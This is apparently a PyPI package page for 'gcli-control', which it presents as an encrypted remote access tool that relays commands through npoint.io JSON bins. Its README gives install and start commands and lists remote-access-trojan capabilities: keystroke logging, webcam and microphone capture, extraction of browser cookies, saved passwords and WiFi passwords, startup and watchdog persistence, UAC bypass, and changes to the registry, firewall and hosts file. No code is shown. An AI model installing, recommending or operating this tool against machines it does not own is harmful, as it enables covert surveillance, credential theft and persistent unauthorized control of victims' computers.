Skip to main content

gcli — Remote Access Tool via npoint.io

Encrypted command relay over npoint.io JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.

┌──────────┐     commands     ┌─────────────┐     commands     ┌──────────┐
│ gcli ssh │ ───────────────> │ npoint.io   │ ───────────────> │gcli host │
│ (client) │ <─────────────── │ (JSON bin)  │ <─────────────── │ (daemon) │
└──────────┘     results      └─────────────┘     results      └──────────┘

Install

pip install gcli-control

Quick Start

Host (remote machine):

gcli host --password MySecret123
gcli host --password MySecret123 --foreground  # debug mode

Client (your machine):

gcli ssh --password MySecret123

Stop host:

gcli stop

Security

  • AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
  • zlib compression before encryption (60-80% payload reduction)
  • PBKDF2 key caching (~150ms saved per operation)
  • Password never leaves your machine — only encrypted payloads
  • Built-in tamper detection (GCM authentication tag)
  • Persistent HTTPS connection reuse (reduced TLS handshake overhead)

Command Reference

Core Commands

Command Description
Any text Execute shell command on remote host
:help Show available commands
:info Remote system info (hostname, OS, user, IP)
:ping Ping remote host (show latency)
:upload <local> <remote> Upload file to remote host
:download <remote> <local> Download file from remote host
:timeout <seconds> Set exec timeout
:history Command history

File Operations

Command Description
:ls [path] List directory
:tree [path] [depth] Directory tree
:mkdir <path> Create directory
:rm <path> Delete file
:find <pattern> Find files by glob
:stat <path> File info

Process & Monitoring

Command Description
:ps [limit] List processes
:kill <pid> Kill process
:uptime Remote uptime
:cpu CPU usage
:mem Memory usage
:disk [path] Disk usage
:top [limit] Top processes by CPU

Clipboard & Network

Command Description
:clipget Get remote clipboard
:clipset <text> Set remote clipboard
:clipclear Clear clipboard
:dns <host> DNS lookup
:portcheck <host> <port> Check port

Aliases & Scripts

Command Description
:alias <n> <cmd> Create alias
:aliases List aliases
:script <c1; c2> Run script (semicolons)

Security

Command Description
:audit View audit log
:threat <cmd> Check threat level
:lock Lock session
:unlock Unlock session

Advanced System

Command Description
:netstat Active network connections
:services [list|start|stop] <name> Manage services
:screenshot Capture remote screen
:history [n] Remote shell history
:envset <K> <V> Set env variable on host
:grep <pattern> [path] [ext] Search files
:partitions Disk partitions
:whoami Remote user info

Automation

Command Description
:bulk <c1; c2> Bulk execute commands
:repeat <cmd> <n> Repeat command N times
:cron List scheduled tasks
:cron add <name> <cmd> Add scheduled task
:cron rm <name> Remove scheduled task
:snapshot Full env snapshot
:waitport <host> <port> Wait for port to open

Forensics

Command Description
:hash <path> [algo] File hash (md5/sha1/sha256/all)
:integrity <create|verify> [path] File integrity baseline
:recent [hours] Recently modified files
:portprocess <port> Find process by port
:usb List USB devices
:suspicious Flag suspicious processes
:openfiles <pid> List open files for process
:envaudit Audit env for secrets
:startup List startup programs

Transfer

Command Description
:verify <path> <sha256> Verify file integrity
:diff <a> <b> Diff two files
:split <path> [size] Split file into pieces
:merge <pattern> <out> Merge split files

Webcam & Audio

Command Description
:camlist List cameras
:camcapture [id] Capture photo
:camrecord [id] [sec] Record video
:caminfo [id] Camera info
:audiodevices List microphones
:audiorecord [sec] [dev] Record audio
:audioinfo Audio system info
:audiolevel Current mic level

Keylogger

Command Description
:keylogstart Start key capture
:keylogstop Stop key capture
:keylogread [n] Read captured keys
:keylogstatus Keylogger status
:keylogsave [path] Save keys to file

Persistence

Command Description
:persist Full persistence status
:persist install [method] Install startup
:persist remove Remove startup
:persist list List persistence
:persist schedule Install scheduled task
:persist unschedule Remove scheduled task
:persist watchdog Install watchdog
:persist unwatchdog Remove watchdog

Browser Data

Command Description
:browsers List detected browsers
:bhistory [browser] [n] Browser history
:bcookies [browser] Browser cookies
:bbookmarks [browser] Browser bookmarks
:bdownloads [browser] Download history
:bpasswords [browser] Saved passwords

WiFi

Command Description
:wifistatus WiFi connection status
:wifiscan Scan nearby networks
:wifilist Saved WiFi profiles
:wificonnect <ssid> [pw] Connect to WiFi
:wifidisconnect Disconnect WiFi
:wifipassword <ssid> Show saved password
:wififorget <ssid> Remove saved profile

Privilege & Elevation

Command Description
:checkadmin Check admin/root status
:elevate Attempt UAC bypass (Windows)
:sudo <cmd> Run command as root
:sysinfo Detailed system info

Network Config

Command Description
:interfaces List network interfaces
:dns <iface> <servers> Set DNS servers
:proxy <h> <p> | off Set/clear proxy
:firewall Firewall status
:fwallow <port> [name] Allow port in firewall
:arp ARP table
:hosts <ip> <host> Add hosts file entry

Registry (Windows)

Command Description
:reglist <key> List values in key
:regread <key> [val] Read registry value
:regwrite <key> <n> <v> Write value
:regdelete <key> <val> Delete value
:regsubkeys <key> List subkeys
:regsearch <query> Search registry

Architecture

gcli/
├── __main__.py        # CLI entry point
├── __init__.py
├── crypto.py          # AES-256-GCM + PBKDF2 key cache + zlib compression
├── npoint.py          # npoint.io API (persistent HTTPS connection pool)
├── protocol.py        # Document structure, race-condition safe append
├── host.py            # Daemon: poll → decrypt → dispatch → encrypt → respond
├── client.py          # SSH REPL with 100+ commands
├── utils.py           # PID management, detach, system_info
├── colors.py          # Cross-platform ANSI colors
├── session.py         # Handshake, heartbeat, key rotation
├── fileops.py         # ls, tree, mkdir, rm, stat, cp, mv, find, du
├── processes.py       # ps, kill, process_info, env, uptime, network_info
├── clipboard.py       # Clipboard sync
├── netutils.py        # HTTP, DNS, port check, traceroute, speed test
├── aliases.py         # Command aliases & scripting
├── security.py        # Rate limiting, audit log, threat detection
├── output.py          # Pagination, syntax highlighting, diff format
├── monitoring.py      # CPU, memory, disk, processes, temperature
├── system.py          # Netstat, services, screenshot, shell history, grep
├── automation.py      # Bulk exec, repeat, cron, watchdog, env snapshot
├── forensics.py       # File hash, integrity, recent files, USB, suspicious processes
├── transfer.py        # Chunked file transfer, checksum, diff, split/merge
├── webcam.py          # Camera capture & recording
├── audio.py           # Microphone recording & levels
├── keylog.py          # Keystroke capture
├── persistence.py     # Startup, scheduled tasks, watchdog
├── browser.py         # Browser history, cookies, bookmarks, passwords
├── wifi.py            # WiFi management (scan, connect, profiles)
├── elevator.py        # Privilege escalation (UAC bypass, sudo)
├── network_config.py  # DNS, proxy, firewall, ARP, hosts
└── registry.py        # Windows registry operations

Requirements

  • Python 3.8+
  • cryptography package (required)
  • psutil (optional — better process/system monitoring)
  • sounddevice (optional — audio recording)
  • opencv-python (optional — webcam capture)
  • pynput (optional — keylogging on Linux/macOS)
  • Internet connection (for npoint.io)

License

MIT

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

gcli_control-0.13.0-py3-none-any.whl (191.7 kB view details)

Uploaded Python 3

File details

Details for the file gcli_control-0.13.0-py3-none-any.whl.

File metadata

  • Download URL: gcli_control-0.13.0-py3-none-any.whl
  • Upload date:
  • Size: 191.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.13

File hashes

Hashes for gcli_control-0.13.0-py3-none-any.whl
Algorithm Hash digest
SHA256 c1be0faf5d27bb5a80f5ae70858309a894ea427cc32acca8f66b900afa25ce71
MD5 7f56a3bd56e9c050c39d8a1ec9bc7d20
BLAKE2b-256 090bee4c577600bfdc59e8dabee7a05980778010fab916cca076528238be53da

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page